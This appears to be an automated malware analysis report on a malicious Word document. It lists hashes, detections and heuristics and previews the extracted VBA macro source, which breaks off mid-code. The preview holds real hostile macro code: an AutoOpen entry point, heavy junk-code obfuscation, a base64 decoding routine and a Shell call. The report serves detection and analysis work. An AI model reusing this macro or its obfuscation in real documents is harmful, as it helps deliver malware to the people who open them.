Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6958a4f1bfcf120b…

MALICIOUS

Office (OLE)

279.5 KB Created: 2017-06-27 15:08:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 876c26138518f71aedecee6d8a67edbb SHA-1: 7a705e4bb51c46bc4fd688a7c0239e01020a2f29 SHA-256: 6958a4f1bfcf120b066ae6eb5915a6333f05d7625e774f4e7cc7c11871e16e89
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen entry point, which is a common technique for executing malicious code upon document opening. Heuristics indicate potential shell calls and obfuscation, suggesting the macro is designed to download and execute a secondary payload. The presence of the 'macros.bas' file further supports this analysis.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
    Call Shell(JARtNq4, R74NH)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "L8xQF"
    Sub AutoOpen()
    AL6D87SGw = 712 - 26
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 81831 bytes
SHA-256: 035c028f76e0a1ec5e9ace98af013e4de7292417915c8711d96f3f5d2895f613
Detection
ClamAV: No threats found
Obfuscation or payload: likely
951 of 1848 identifiers look randomly generated (e.g. 'CRwYXRoKTtTdGFydC1Qcm9jZXNzICRwYXRoO2JyZ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "L8xQF"
Sub AutoOpen()
AL6D87SGw = 712 - 26
If AL6D87SGw = 86 - 70 Then
CNxrL4 = 37408.523234973
ElseIf AL6D87SGw = 8925 / 425 Then
fG7dXV = -19569
Else
rFDQ9Lr = 40553.848220409
End If
Nq1gF0 = CNxrL4 & fG7dXV & rFDQ9Lr
xCMZzt3j = 1712 - 1694
Select Case xCMZzt3j
Case 86 - 70
XxXqtmck = 61163.278412517
Case 8925 / 425
J6hxgV = Hpi2zd0x
End Select
WiQnEWPO = 712 - 26
If WiQnEWPO = 86 - 70 Then
Y7lSMg = True
End If
PkbTt = PkbTt & Y7lSMg
natiJlY = 712 - 26
If natiJlY = 86 - 70 Then
J27Vj = -23596
End If
BAVecrvI4 = BAVecrvI4 & J27Vj
xMiAuyd = 558 - 498
Select Case xMiAuyd
Case -1691 + 1707
oFtlbWP9 = 39730.919379335
Case 40 - 19
SYgo4 = 39730.919379335
Case 15416 / 328
NI2OV = True
End Select
Bzd9F = 10564 / 38
If Bzd9F = -1691 + 1707 Then
oz6LGP = Jy7NCHk
ElseIf Bzd9F = 40 - 19 Then
GRjHel1 = False
Else
NG5aUSn = 13590.528786299
End If
xQkfs = oz6LGP & GRjHel1 & NG5aUSn
Tiz1FpUd = 558 - 498
Select Case Tiz1FpUd
Case -1691 + 1707
RDq6spk = 39523.697865274
Case 40 - 19
kxaVMi724 = FJd4nKHWl
End Select
LBgQK = 10564 / 38
If LBgQK = -1691 + 1707 Then
SY42aQOd6 = 221
End If
lkfON = lkfON & SY42aQOd6
ZeDJxw = 3872 - 3866
If ZeDJxw = 55 - 44 Then
JQV5H = 33369.018449063
ElseIf ZeDJxw = 31950 / 1775 Then
GXsc3 = 40
Else
LGJSU = 40
End If
HevFmb = JQV5H & GXsc3 & LGJSU
F9lZHcO7 = 3872 - 3866
If F9lZHcO7 = 55 - 44 Then
W6h0qkVK = 64401.796161813
Else
ji50mcq = 43374.644976375
End If
kkZ7Tjrd = W6h0qkVK & ji50mcq
zjrLV = 3872 - 3866
If zjrLV = 55 - 44 Then
TDbQ2 = 62283.365050351
Else
Ij2WpG = 0
End If
CL6dm7vF = TDbQ2 & Ij2WpG
aCMsqkjz = 18896 / 1181
Select Case aCMsqkjz
Case 55 - 44
bzpfq = False
Case 31950 / 1775
ZFGit = False
Case 15 + 34
lIcKs = False
End Select
RnoOcvB5Q = 18896 / 1181
Select Case RnoOcvB5Q
Case 55 - 44
e5kbzL = False
Case 31950 / 1775
ktX5TiD1 = False
End Select
YR2DZAuGW = 1144 / 11
Select Case YR2DZAuGW
Case 3344 / 418
QBIsTzV = UYKesO
Case -158 + 177
ct5I3X = 201
Case 70 - 18
LiET9l = 0
Case Else
tBfUCskT = -667
End Select
rHPCkym2T = 1144 / 11
Select Case rHPCkym2T
Case 3344 / 418
X1hOwgJt = k1eAoX
Case -158 + 177
idqf5 = 1017.9093458808
End Select
g2Krm3xW = 1144 / 11
Select Case g2Krm3xW
Case 3344 / 418
yBUr38InW = 9595.8037138232
End Select
sbxyNGvW = 241 - 86
If sbxyNGvW = 3344 / 418 Then
tA4X82H = 47029.982151921
End If
TdxnG = TdxnG & tA4X82H
ZY9AvKBfR = 77 + 13
Select Case ZY9AvKBfR
Case -241 + 250
c2GzeA = True
Case 340 - 317
OJY5QrW = True
End Select
AT0bNIsrP = 704 + 31
If AT0bNIsrP = -241 + 250 Then
l2165x0 = 41289.813054066
End If
AoMcI0kP = AoMcI0kP & l2165x0
HndPxI = 704 + 31
If HndPxI = -241 + 250 Then
YlGyHPb = 25089.3331314
End If
MeMlRPtqB = MeMlRPtqB & YlGyHPb
SNpY4iQ = 18042 / 194
Select Case SNpY4iQ
Case 13476 / 1123
dDAX3z = 0
Case 3480 / 145
KAC8tM7b = True
End Select
CkA3x6o = 18042 / 194
Select Case CkA3x6o
Case 13476 / 1123
itV3dZh = l2mYgjiM3
End Select
kSfl0eQcY = 32544 / 113
If kSfl0eQcY = 13476 / 1123 Then
IWIxCF = gvWXoYZ4
Else
nzO4l = True
End If
JOTkLBb6G = IWIxCF & nzO4l
LOcWi = 18042 / 194
Select Case LOcWi
Case 13476 / 1123
pw2Zk = 38706.905557928
Case 3480 / 145
iiM0mTO = 199
Case 515 - 459
PvawBHAC = 29677
Case Else
T6DOhVvde = 36673.459480119
End Select
aS5Hk = 32544 / 113
If aS5Hk = 13476 / 1123 Then
DJyu7s3 = CuC4m8
Else
Z80jrG = CuC4m8
End If
lrIj8n = DJyu7s3 & Z80jrG
zNAHiWD = -315 + 369
Select Case zNAHiWD
Case 6755 - 6752
ilawLO = 122.8412227564
Case 15894 / 883
s9Qoxqam = False
Case 631 - 575
ZSX0evH28 = 122.8412227564
End Select
dwzqMSs = -315 + 369
Select Case dwzqMSs
Case 6755 - 6752
xAI6ET = QOnohf
Case 15894 / 883
wo7Y6 = 63665.301245897
End Select
RFDcQrH0R = 25419 / 37
If RFDcQrH0R = 6755 - 6752 Then
Folc6Wk = False
Else
HX5vQA = 27391.843653363
End If
yQv1wlJkD = Folc6Wk & HX5vQA
NDOiGo = 25419 / 37
If NDOiGo = 6755 - 6752 Then
H6CSZswV = True
ElseIf NDOiGo = 15894 / 883 Then
rFpqMGZ = ArGueVTy
Else
qBPcXfoYy = 94
End If
o6h3Q = H6CSZswV & rFpqMGZ & qBPcXfoYy
ObOTIz = 190 + 56
If ObOTIz = 21828 / 3638 Then
FWG4J = 39877.640197496
ElseIf ObOTIz = 29 - 10 Then
Ebfhr = 39877.640197496
Else
taYDUkAy = False
End If
rtsrGm1Q = FWG4J & Ebfhr & taYDUkAy
bsmpcEKqX = 190 + 56
If bsmpcEKqX = 21828 / 3638 Then
YQ1X4 = ZhcKueF
Else
BslWiMZVn = ZhcKueF
End If
apROA6x = YQ1X4 & BslWiMZVn
HyRbsCaK = -45 + 161
Select Case HyRbsCaK
Case 21828 / 3638
fON7d = 35901.148672975
Case 29 - 10
szsn2lMx = -50501604
Case 19716 / 372
Ju4sdlIU = -25241
End Select
eTlnxmu = 115 + 12
Select Case eTlnxmu
Case 30065 / 4295
t7VSAy = 81
Case 825 - 807
tcLRTN = True
End Select
oTFw3k = 193 - 117
If oTFw3k = 30065 / 4295 Then
J2CvWp = True
End If
MvTUY6e = MvTUY6e & J2CvWp
jP1oGKT = 115 + 12
Select Case jP1oGKT
Case 30065 / 4295
QilY6TQ = 0
Case 825 - 807
QoWKiZN = VuTGshbze
Case 361 - 321
tav0iUjO = VuTGshbze
End Select
yp3CId = 115 + 12
Select Case yp3CId
Case 30065 / 4295
DoqPOk = 26224.582166458
Case 825 - 807
DRB3o = 26224.582166458
Case 361 - 321
JaJTu4K = 31977.779996526
Case Else
LHc6iy8v = 26224.582166458
End Select
hSdfpm = 193 - 117
If hSdfpm = 30065 / 4295 Then
BRyapUXnf = 34289.152779741
Else
DFdQXG8 = 34289.152779741
End If
jhCYnc = BRyapUXnf & DFdQXG8
Okj0a = 687 + 45
If Okj0a = 42 - 30 Then
FCd9sAQ = 42366.051025076
Else
aqt4L = 41533.553878817
End If
xWs1yR = FCd9sAQ & aqt4L
YzmyxU = 687 + 45
If YzmyxU = 42 - 30 Then
DuQlcxMiD = IRTE5
ElseIf YzmyxU = 7560 / 420 Then
eIzW2w = 16605
Else
vxu1Si = False
End If
tNIzs0KmB = DuQlcxMiD & eIzW2w & vxu1Si
RRWlv3C = 281 - 158
Select Case RRWlv3C
Case 42 - 30
IDVtw = 59220.126613665
Case 7560 / 420
jIdZW = 10163.692829983
Case 472 - 418
LmiwM4 = False
Case Else
AxtYo6 = u15i7OCW
End Select
DcJmHwAf = 687 + 45
If DcJmHwAf = 42 - 30 Then
Au9kFm = 169
ElseIf DcJmHwAf = 7560 / 420 Then
Ya1U6Snx = False
Else
B0eKsH = False
End If
JYQBOjydi = Au9kFm & Ya1U6Snx & B0eKsH
zzLJ9l2 = 167 + 22
If zzLJ9l2 = -2257 + 2265 Then
ku6aw4W = -4347
ElseIf zzLJ9l2 = 18430 / 970 Then
aWYDk0Tgi = 27
Else
FykGuYKwQ = True
End If
jkZmqB = ku6aw4W & aWYDk0Tgi & FykGuYKwQ
Wp43NSa = 167 + 22
If Wp43NSa = -2257 + 2265 Then
ggKRehZ = 71
ElseIf Wp43NSa = 18430 / 970 Then
chAKa = -561498790
Else
lDKiq = -15307
End If
SJtQZWgD = ggKRehZ & chAKa & lDKiq
tIjsw = 167 + 22
If tIjsw = -2257 + 2265 Then
wlg1b6ck = 53808.979359695
ElseIf tIjsw = 18430 / 970 Then
H5PFvk = -26714
Else
qfVwe = -26714
End If
wFAoga = wlg1b6ck & H5PFvk & qfVwe
rpmSwcDO = 425 - 344
Select Case rpmSwcDO
Case 14025 / 14025
FoGI4DuxH = 0
Case 7472 / 467
cT7uHn = 32074.469624846
End Select
DEdgi = 425 - 344
Select Case DEdgi
Case 14025 / 14025
HX7NsYq = 0
Case 7472 / 467
NOUF20Z = 48517.191341141
Case 626 - 569
Zj9KaBd3 = 48517.191341141
Case Else
NmSpFKIu1 = False
End Select
tmTtxZ = 425 - 344
Select Case tmTtxZ
Case 14025 / 14025
K8U19M = 46997.886418872
Case 7472 / 467
rnwmJ = 72
Case 626 - 569
jaeYEbXq = False
Case Else
N38BwDAQ = False
End Select
ll0L2 = 945 + 18
If ll0L2 = 14025 / 14025 Then
lPegNU = -1783428440
ElseIf ll0L2 = 7472 / 467 Then
w7yTB = 19142
Else
BCxpyAU6 = 8
End If
jEtb6 = lPegNU & w7yTB & BCxpyAU6
A3tnbA4f = 360 - 287
Select Case A3tnbA4f
Case 687 - 683
UHI0X26Kr = -6526
Case 891 - 874
hbwXx = False
End Select
oX5oSsQ = 360 - 287
Select Case oX5oSsQ
Case 687 - 683
AIFmi = False
Case 891 - 874
OFsQW = -901993100
Case 22208 / 347
WckO6U7 = 57452.316901123
Case Else
IRlP0Bjo = False
End Select
GDrWvME = 416 - 49
If GDrWvME = 687 - 683 Then
Rm94JlS = 0
ElseIf GDrWvME = 891 - 874 Then
Ce95v = 34712.758082855
Else
BPbZWXOc = False
End If
AA78qREg = Rm94JlS & Ce95v & BPbZWXOc
Djtr3qo = 22876 / 1204
Select Case Djtr3qo
Case 2465 - 2453
HcR8jYa = 115
Case 28756 / 1106
R8rKbQpSx = 40855.252778655
Case 18544 / 488
eqnNtYf09 = -14360
Case Else
ebRXlC6m = qXL6oE
End Select
pEtxqML9C = 281 + 73
If pEtxqML9C = 2465 - 2453 Then
uro8xB = 0
Else
hqZTp = 52
End If
qLRb32Uku = uro8xB & hqZTp
GjRwe0B4m = 22876 / 1204
Select Case GjRwe0B4m
Case 2465 - 2453
hIjLUH = 239
Case 28756 / 1106
eNciJWsa = 21321.635271065
End Select
VV0xj7a = 22876 / 1204
Select Case VV0xj7a
Case 2465 - 2453
kIEpbRDu = 52293.408267272
End Select
yhRez = 281 + 73
If yhRez = 2465 - 2453 Then
y4GPH9p = 39168.562008751
Else
MKn68 = 30965.930388029
End If
diqz7JtY = y4GPH9p & MKn68
SLfXHZYj = 1014 + 9
If SLfXHZYj = 12645 / 843 Then
yxbjLS = FgL569
Else
FOt3j69FV = 198
End If
cIL24z = yxbjLS & FOt3j69FV
niyROvo = 1014 + 9
If niyROvo = 12645 / 843 Then
PtRfs = 232
End If
ZQ9r8W = ZQ9r8W & PtRfs
bQeI3N = 31710 / 2265
Select Case bQeI3N
Case 12645 / 843
YAy3I9c = 18029.132107491
End Select
HhZYApiGE = 31710 / 2265
Select Case HhZYApiGE
Case 12645 / 843
UPnFXbg = xJzjqo
End Select
at9gjFkW = 31710 / 2265
Select Case at9gjFkW
Case 12645 / 843
WRXsqa = 6817
End Select
p9WRbr
hFYBl = 24804 / 234
Select Case hFYBl
Case 3208 - 3199
fvIcuZ = 48
Case 19680 / 1230
BpUP6JBg = uwJ6Dl
Case 181 - 118
QoQDFpjO = 22319.287891217
End Select
AtS2d = 386 * 2
If AtS2d = 3208 - 3199 Then
e4VY2G = We3rmZDwu
End If
oqzGgYWh = oqzGgYWh & e4VY2G
r93Dri = 24804 / 234
Select Case r93Dri
Case 3208 - 3199
DL6iZCE4 = -1166508406
End Select
S8ZJNOY = 276 - 206
Select Case S8ZJNOY
Case 2180 / 218
EudPZwU10 = 247
End Select
NQgbm = 276 - 206
Select Case NQgbm
Case 2180 / 218
UC9KiZlj = 12930.000334129
Case 427 - 411
QbI7Hm8Y = bKw3m4
Case 16112 / 304
Bhtep = 12930.000334129
End Select
Y3MORAw = 632 + 30
If Y3MORAw = 2180 / 218 Then
aUrAH37u = LN0GEv
End If
oehNzQ = oehNzQ & aUrAH37u
XYkAd8 = 276 - 206
Select Case XYkAd8
Case 2180 / 218
Dpeit = 15341.683906328
Case 427 - 411
SUxh9Dc6 = 121
Case 16112 / 304
NhBjVS1XL = -1038957496
End Select

pVN3C9 = 107 - 83
Select Case pVN3C9
Case 1819 - 1816
E8X7IAO3U = jpUVG
Case 27775 / 1111
JHnmf = 16667.480698187
Case -463 + 525
fs2Jzr1x = jpUVG
Case Else
S8zg4 = True
End Select
sh47trz2 = 278 - 28
If sh47trz2 = 1819 - 1816 Then
qgpkZ0 = -22682500
End If
VzY5GLdq = VzY5GLdq & qgpkZ0
ob9fLYz = 107 - 83
Select Case ob9fLYz
Case 1819 - 1816
YfCnN3apR = -1314315494
Case 27775 / 1111
dnz8K = -1314315494
Case -463 + 525
Ts4ZrT = 26916.377445845
End Select
Dwo4ESC2j = 453 + 20
If Dwo4ESC2j = 1233 - 1217 Then
tZY0I = 225
End If
trY1kySdZ = trY1kySdZ & tZY0I
dGcaCOT = 453 + 20
If dGcaCOT = 1233 - 1217 Then
sUJ4M1rRv = -1271671738
End If
Z4rmTl = Z4rmTl & sUJ4M1rRv
M3USHvrB = 453 + 20
If M3USHvrB = 1233 - 1217 Then
SNfpJBeqW = 0
Else
zAyilBce = h1bPA7
End If
Us2X5 = SNfpJBeqW & zAyilBce
NGeXYF4w6 = -298 + 356
Select Case NGeXYF4w6
Case 1233 - 1217
jKA6Ub = -21562
End Select
Ld0Mowcl = -298 + 356
Select Case Ld0Mowcl
Case 1233 - 1217
ugEGA = False
Case 1557 - 1539
BOzv0WnJ = 17872
Case 80 - 39
MCZmRq = nM8KrZ3S
End Select
End Sub

Attribute VB_Name = "sC5u2"
Private Const dHZkSYp56 = 16711777 - 97
Private Const eGqVtNrP = 46735 + 18545
Private Const FkhaGzes = 287 - 32
Private Const mlWbYf = 263866 - 1722
Private Const kFaVWcEY = 12288 / 3
Private Const oLBRPgMaI = 313 - 249
Private Const A1Qgj = 4864 / 19
Private Const vA5WtT = 36589 + 28947
Public Function DVcrlNA(pJlMe As String) As String
Dim yfbj9() As Byte
Dim H91Fgf() As Byte
Dim ygci4JySb(255) As Byte
Dim jN4q2O0(63) As Long
Dim J35jeB2y(63) As Long
Dim b6Q5XL(63) As Long
Dim R2cEKAG As Long
Dim BPeicIw As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim uVNcolT9 As Long
mAYVa = 6384 / 84
Select Case mAYVa
Case -1766 + 1774
bM6u2 = 63
Case 26010 / 867
q2DJm6wv = True
Case -99 + 162
lPXYI = cjMHN
Case Else
NRmZF8 = 53957.363848805
End Select
sXnUc5N = 668 + 39
If sXnUc5N = -1766 + 1774 Then
jgGlIwD = True
End If
IHkema = IHkema & jgGlIwD
p5WIYt = 6384 / 84
Select Case p5WIYt
Case -1766 + 1774
aaMnXb1 = 33388.905994041
Case 26010 / 867
jZwfqXLs = True
Case -99 + 162
rfCWVkjw = 33388.905994041
Case Else
pC0OZXs = 33388.905994041
End Select
S25rZwWV = 6384 / 84
Select Case S25rZwWV
Case -1766 + 1774
mvWxir = False
End Select
TWMNKean3 = 932 * 1
If TWMNKean3 = -7830 + 7834 Then
K0Dta = 35332.050041547
ElseIf TWMNKean3 = 1457 / 47 Then
krzq9 = 47
Else
xbZmH = True
End If
t8i3Ayfo = K0Dta & krzq9 & xbZmH
bWTYX = 932 * 1
If bWTYX = -7830 + 7834 Then
CjCzgQ0n = 14846.603129411
End If
XMf8H = XMf8H & CjCzgQ0n
X2zmKNjfu = 932 * 1
If X2zmKNjfu = -7830 + 7834 Then
OUGvgOhPK = 18711.130996788
End If
ufM2t = ufM2t & OUGvgOhPK
y6VB7PZf = -956 + 970
Select Case y6VB7PZf
Case 19481 / 2783
btud4z5 = 0
Case -308 + 334
g61Ipe = 17435.802674486
Case 504 / 8
fHLsUG = 22010
Case Else
oVvhw1 = 22010
End Select
BXRm3 = -956 + 970
Select Case BXRm3
Case 19481 / 2783
tPzWDrl = True
Case -308 + 334
rj893khP = True
Case 504 / 8
f8sG1 = True
Case Else
PvPoz = 15970
End Select
fmDO5A = -956 + 970
Select Case fmDO5A
Case 19481 / 2783
LywWmD = 192
Case -308 + 334
m1V4X = 56407.629780104
End Select
bDaHYLPm = 23349 / 43
If bDaHYLPm = 547 - 534 Then
z0qwAj = 14667
Else
DDnRgZtLl = 38728.944864564
End If
pk2AqLCb = z0qwAj & DDnRgZtLl
vMaf8 = 166 - 142
Select Case vMaf8
Case 547 - 534
pe3dSoOzU = True
Case 32643 / 1053
ufDGZnCqH = -634700084
End Select
Igz19l7 = 166 - 142
Select Case Igz19l7
Case 547 - 534
LIeydJLY = 34126.496810013
Case 32643 / 1053
yaTtcE = QiVHs1
Case 27412 / 623
FvTgZeCi4 = 8024.2295376581
End Select
pJlMe = Replace(pJlMe, vbCr, vbNullString)
JufCJ = 368 - 258
Select Case JufCJ
Case 772 - 760
eWUEJok9 = 87
End Select
Rn9PYlA5 = 10220 / 14
If Rn9PYlA5 = 772 - 760 Then
zPIwDXAB = 47834.271720019
End If
C9EuIFNy = C9EuIFNy & zPIwDXAB
d2z78d = 10220 / 14
If d2z78d = 772 - 760 Then
X7xqLUw = -79662386
ElseIf d2z78d = -947 + 971 Then
xJmE2ce = 20
Else
sw9C0y = 51199.112557398
End If
SGkWIHs = X7xqLUw & xJmE2ce & sw9C0y
Tawi4jI = 10220 / 14
If Tawi4jI = 772 - 760 Then
E2K9C0zvr = 0
Else
RD2el = False
End If
kAJVYL3UZ = E2K9C0zvr & RD2el
aqd3xuSH = 1111 - 1086
Select Case aqd3xuSH
Case 16428 / 1369
vdCQ1qr = -1027389406
End Select
eHxXL = 29184 / 38
If eHxXL = 16428 / 1369 Then
ZYmz6ke = -29113
ElseIf eHxXL = 10730 / 370 Then
QFQPCaiAM = -2111938680
Else
Myphco = -2111938680
End If
P9JOUpBg = ZYmz6ke & QFQPCaiAM & Myphco
x8vrsE2I = 29184 / 38
If x8vrsE2I = 16428 / 1369 Then
Sje0GIOU = 0
Else
vxwqHk = 17483.998534617
End If
Z8NyptswX = Sje0GIOU & vxwqHk
mcKI2pVg = 29184 / 38
If mcKI2pVg = 16428 / 1369 Then
mC06gEuD = 29105.367693748
End If
bjq04k = bjq04k & mC06gEuD
gsQuZJ = 479 - 35
If gsQuZJ = 1782 - 1767 Then
Yxjts1p = 56595.923664986
ElseIf gsQuZJ = 1353 - 1330 Then
iAM9yWpH = 56595.923664986
Else
InagL = 31639.09338286
End If
ufQkhR = Yxjts1p & iAM9yWpH & InagL
eWzyLRV = 479 - 35
If eWzyLRV = 1782 - 1767 Then
xv43a8 = True
End If
aro82CJs = aro82CJs & xv43a8
s48Sy = -67 + 140
Select Case s48Sy
Case 1782 - 1767
q23Ulv4 = 44172.789710091
End Select
pJlMe = Replace(pJlMe, vbLf, vbNullString)
XKtRZ1qPO = 256 - 65
If XKtRZ1qPO = -5937 + 5942 Then
gLIe3 = 43183.417908632
ElseIf XKtRZ1qPO = -608 + 624 Then
jMjqW3r8h = qZmRgV
Else
ThDx3yW = -12259
End If
hwYIv = gLIe3 & jMjqW3r8h & ThDx3yW
jfq65YiB = 339 - 226
Select Case jfq65YiB
Case -5937 + 5942
V0mgA = 21651.232881327
End Select
q2pMLW = 339 - 226
Select Case q2pMLW
Case -5937 + 5942
ZTDzN6Gqe = -26845
Case -608 + 624
K5elu = JwQjp
End Select
eSDcwG = 256 - 65
If eSDcwG = -5937 + 5942 Then
Rf8gjvHN = 47460.822452256
End If
vwiKVNSv = vwiKVNSv & Rf8gjvHN
KE8JkPmF = 339 - 226
Select Case KE8JkPmF
Case -5937 + 5942
AMPQuWY = 0
Case -608 + 624
x8s2Y3Q = OK7n69Di8
Case 24924 / 402
DVciodjsp = 14901
Case Else
RcoxAMwHB = 0
End Select
GSOwiNvq = 887 + 31
If GSOwiNvq = -291 + 302 Then
uc2aBz4 = 19261.365749286
End If
TzZTE6 = TzZTE6 & uc2aBz4
QnyhE = 887 + 31
If QnyhE = -291 + 302 Then
CEF7xT9 = -1402231008
Else
mB6xs = True
End If
fJF2KUbd0 = CEF7xT9 & mB6xs
EKBefS = 18048 / 192
Select Case EKBefS
Case -291 + 302
cGD5TNnm = 14708.992585082
Case -483 + 505
um49B = dwNvm5
End Select
osp0Ohmc = 18048 / 192
Select Case osp0Ohmc
Case -291 + 302
RGVZ0PMYH = -58008574
End Select
R1Vek = -1573 + 1591
Select Case R1Vek
Case 3189 - 3183
nNH4iM = 76
End Select
kG3nJ = -1573 + 1591
Select Case kG3nJ
Case 3189 - 3183
F7jxuMQa = 180
Case 30208 / 944
IsJfkVY = fzgFx0b
Case -569 + 607
aXUmD = 1252
Case Else
XDPUzqpW5 = 30168.991324425
End Select
oP7Xv = 285 * 1
If oP7Xv = 3189 - 3183 Then
ROt81 = False
ElseIf oP7Xv = 30208 / 944 Then
syZxJ = 13089.81537423
Else
KFYeUnT = 64524.220414019
End If
kTCiS0J = ROt81 & syZxJ & KFYeUnT
rxyZ1g = 1226 - 1199
Select Case rxyZ1g
Case -69 + 83
NjZN4 = 13170
Case 3440 / 215
ztZxAsqNE = 51167.33331733
Case 12586 / 217
LqHWsJ3K = 13170
End Select
M16EePHyS = 1226 - 1199
Select Case M16EePHyS
Case -69 + 83
UpF8Sv = fKbnsd
Case 3440 / 215
M63p9 = -5435
Case 12586 / 217
K5wsOy = 103
Case Else
Yk2pBFXL = 11988.500545194
End Select
atGQvO = 1226 - 1199
Select Case atGQvO
Case -69 + 83
tjlN6 = -1640454286
Case 3440 / 215
fhKi2dQ = 2239
Case 12586 / 217
MQnRDlK1 = True
End Select
SGp5rhI = 1226 - 1199
Select Case SGp5rhI
Case -69 + 83
ru9a5WhJ8 = 25155.110449808
End Select
uVNcolT9 = Len(pJlMe) Mod 4
KrlyGvPt = 928 / 8
Select Case KrlyGvPt
Case 3903 - 3898
enyjI = False
Case 6000 / 240
vcME7a = -407
Case 175 - 124
kcXb8KI = 35444.587847662
End Select
HvhTdroJ = 708 - 16
If HvhTdroJ = 3903 - 3898 Then
FSVJx = -15783
End If
n1iBdUcKS = n1iBdUcKS & FSVJx
urVExYCc = 708 - 16
If urVExYCc = 3903 - 3898 Then
b7UL3huQ8 = True
End If
T7QOL = T7QOL & b7UL3huQ8
XgMfwx8 = 928 / 8
Select Case XgMfwx8
Case 3903 - 3898
n95EhCWrD = False
End Select
DPk9NnIq = 757 * 1
If DPk9NnIq = 8497 - 8495 Then
a2vWl = False
End If
zfVCJp = zfVCJp & a2vWl
pxvfI6 = 7084 / 322
Select Case pxvfI6
Case 8497 - 8495
lm2IjXl0 = wjdCbQVk
Case 710 - 691
kEOZCufw = 6377.3094937628
End Select
KTQcy4K = 757 * 1
If KTQcy4K = 8497 - 8495 Then
Ibid31n = 61
End If
I8fvF7wh = I8fvF7wh & Ibid31n
gsozh = 757 * 1
If gsozh = 8497 - 8495 Then
jxUsMbNq = 60790.213172108
End If
GixOZHNMc = GixOZHNMc & jxUsMbNq
If InStrRev(pJlMe, "==") Then
mjrZfP = 19873 / 167
Select Case mjrZfP
Case -4297 + 4302
Ge9it0 = 114
Case -1200 + 1223
l58bDYIL = 24424.177033653
Case 667 - 632
Mr8fgIyE = True
End Select
KoYgvb7 = 313 * 3
If KoYgvb7 = -4297 + 4302 Then
F09poPK = 241
End If
LFIOgd = LFIOgd & F09poPK
vdKQNaHy2 = 313 * 3
If vdKQNaHy2 = -4297 + 4302 Then
JIz6lZKV = wmJTELCd
ElseIf vdKQNaHy2 = -1200 + 1223 Then
nV7Xgz5y = -1293516806
Else
yMYPzmJ = 58
End If
kFbiqyc = JIz6lZKV & nV7Xgz5y & yMYPzmJ
dFAkDVsp = 19873 / 167
Select Case dFAkDVsp
Case -4297 + 4302
Bu2QHEga8 = 14977
Case -1200 + 1223
VZ1yCHJ = 15280.334956748
Case 667 - 632
HJTHb5F = 34
Case Else
TFYmEu5J3 = 45127.119381729
End Select
gnXMOvq = 690 - 639
Select Case gnXMOvq
Case -435 + 449
mC9ALxHz = 4796.9759905685
Case 884 - 863
MMTIJ6ut = False
Case 473 - 418
gxoypjNY = False
End Select
NPcaWB2wI = 467 + 43
If NPcaWB2wI = -435 + 449 Then
bowjr = False
End If
ICOeZnA7 = ICOeZnA7 & bowjr
zH7TIhp = 467 + 43
If zH7TIhp = -435 + 449 Then
R8JX3T = 18141
…